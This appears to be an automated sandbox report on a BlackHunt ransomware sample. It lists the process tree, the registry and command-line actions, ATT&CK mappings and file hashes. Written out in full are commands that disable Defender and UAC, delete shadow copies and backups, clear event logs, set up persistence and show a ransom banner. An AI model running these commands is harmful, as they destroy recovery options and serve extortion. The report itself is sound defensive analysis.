wrote to memory of 2912 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 136 PID 1644 wrote to memory of 2912 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 136 PID 1644 wrote to memory of 2912 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 136 PID 2788 wrote to memory of 2592 2788 cmd.exe 55 PID 2788 wrote to memory of 2592 2788 cmd.exe 55 PID 2788 wrote to memory of 2592 2788 cmd.exe 55 PID 1644 wrote to memory of 2612 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 57 PID 1644 wrote to memory of 2612 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 57 PID 1644 wrote to memory of 2612 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 57 PID 1644 wrote to memory of 2612 1644 c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe 57 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe"C:\Users\Admin\AppData\Local\Temp\c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1644 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2924 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2800
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2928 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2804
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2432 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:2752
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2320
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2640
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2700
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2764
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2788 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:2592
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2728
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2040
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2132
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:2144
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2712
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:3000
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2996
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:3016
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2356
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:808
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2912
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:348
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2612
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:1496
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2716
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:1764
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2352
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:684
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:1732
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:812
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2160
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:2264
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2328
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:1276
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2980
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:1480
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2960
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2108
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:1676
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:988
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:1760
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:608
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2856
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:1476
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:1292
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:1940
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:2136
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:2396
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1664
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1052
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1436
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1992
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2848
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:2180
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:2964
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:1096
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe" /F2⤵PID:2852
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe" /F3⤵
- Creates scheduled task(s)
PID:3436
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:840
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3668
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:3068
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2296
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:2576
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:3816
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:2052
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:1912
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2556
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3684
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:384
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:3840
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:784
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:3536
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:592
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3788
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:584
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:3820
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:600
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2832
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:2180
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:2936
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:2960
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:1952
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:2692
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:1992
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:540
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2424
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:2580
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3632
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:580
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1032
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:1480
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2664
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:1092
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2072
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2748
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3164
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:3468
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:3012
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2328
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3512
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2828
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:3592
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1760
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2956
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:2920
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:3448
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:3572
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:3500
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:1920
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:3416
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:1436
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:2732
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:1772
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:3728
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:852
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:1312
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:3652
-
C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2420
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:1016
-
C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:3412
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:3704
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:3300
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe"2⤵
- Deletes itself
PID:1968 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:2104
-
-
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1417309980-4499145792796916-537865545-1920225096337868905-8297376041866878306"1⤵PID:2912
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3912
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3392
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:3264
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:2204
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:384
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
12KB
MD59b3ba1cd132a49bca3f84bba3f774d41
SHA18c552877f8ed64ec969388b6420fa63cebe4b118
SHA25629ec80b4bc0965cb84f7579ae73346c117b55eab0e6698865e4d656c36907aaa
SHA5125e37dd7978a465153e903998f4db56801d5a46fb271f16d9d88d582875936532fae45e468163e6e5b6cbcc4f16634b446c616d2b1a85404cfb1a3d48a97fff72
-
Filesize
1KB
MD5ddf7066a30428065fa5dfef4819905d8
SHA1e99c8903e655011815157101a5e3168b6e2a0386
SHA25695d97b4ecd80e2776192aa97730e1fee7a1639835e6505a26b31c43a0279ac25
SHA5124c102b38dc3e3c1a74ab40a2a57ef554240ac092342c36e0fdb409db94d773f84af5c893c2632c3dba2bfdc811ecbbd1abc1a89532e151c1be2e6ad99cc990cd
-
Filesize
684B
MD5e254014bb5cc0d62cb639bf21a7feaf7
SHA1f85c1a854c1ed2acc7ff56d3767ce56e228ac593
